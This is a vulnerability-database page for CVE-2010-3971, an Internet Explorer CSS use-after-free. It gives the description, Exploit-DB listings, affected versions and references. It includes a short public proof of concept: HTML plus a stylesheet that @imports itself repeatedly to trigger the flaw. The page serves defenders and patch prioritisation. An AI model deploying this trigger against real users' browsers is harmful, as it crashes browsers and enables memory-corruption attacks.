CVE-2010-3971
Description
Use-after-free vulnerability in the CSharedStyleSheet::Notify function in the Cascading Style Sheets (CSS) parser in mshtml.dll, as used in Microsoft Internet Explorer 6 through 8 and other products, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a self-referential @import rule in a stylesheet, aka "CSS Memory Corruption Vulnerability."
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or β if you've already worked around this in production β publish your fix to the community-verified tier.
β Propose a mitigation on Community β Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Microsoft Internet Explorer - CSS Recursive Import Use-After-Free (MS11-003) (Metasploit)
Microsoft Internet Explorer 8 - CSS Parser
Microsoft Internet Explorer 8 - CSS Parser Denial of Service
<code>
<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />
</code>
<code of css.css>
*{
color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");
</code>
Exploit-DB Notes:
* Original credit goes to an unidentified researcher using WooYun anonymous account "θ·―δΊΊη²".
WooYun is a connection platform for vendors and security researchers:
http://www.wooyun.org/bugs/wooyun-2010-0885
* Dec 22, 2010 - Microsoft releases security advisory for this vulnerability:
http://www.microsoft.com/technet/security/advisory/2488013.mspx
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| microsoft | internet_explorer | 7 | |
| microsoft | internet_explorer | 8 | |
References
- http://blogs.technet.com/b/srd/archive/2011/01/07/assessing-the-risk-of-public-issues-currently-being-tracked-by-the-msrc.aspx
- http://seclists.org/fulldisclosure/2010/Dec/110
- http://secunia.com/advisories/42510
- http://support.avaya.com/css/P8/documents/100127294
- http://www.breakingpointsystems.com/community/blog/ie-vulnerability/
- http://www.exploit-db.com/exploits/15708
- http://www.exploit-db.com/exploits/15746
- http://www.kb.cert.org/vuls/id/634956
- http://www.microsoft.com/technet/security/advisory/2488013.mspx
- http://www.securityfocus.com/bid/45246
- http://www.securitytracker.com/id?1024922
- http://www.vupen.com/english/advisories/2010/3156
- http://www.vupen.com/english/advisories/2011/0318
- http://www.wooyun.org/bugs/wooyun-2010-0885
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2011/ms11-003
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A12382
- http://blogs.technet.com/b/srd/archive/2011/01/07/assessing-the-risk-of-public-issues-currently-being-tracked-by-the-msrc.aspx
- http://seclists.org/fulldisclosure/2010/Dec/110
- http://secunia.com/advisories/42510
- http://support.avaya.com/css/P8/documents/100127294
- http://www.breakingpointsystems.com/community/blog/ie-vulnerability/
- http://www.exploit-db.com/exploits/15708
- http://www.exploit-db.com/exploits/15746
- http://www.kb.cert.org/vuls/id/634956
- http://www.microsoft.com/technet/security/advisory/2488013.mspx
CWEs
CWE-399
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.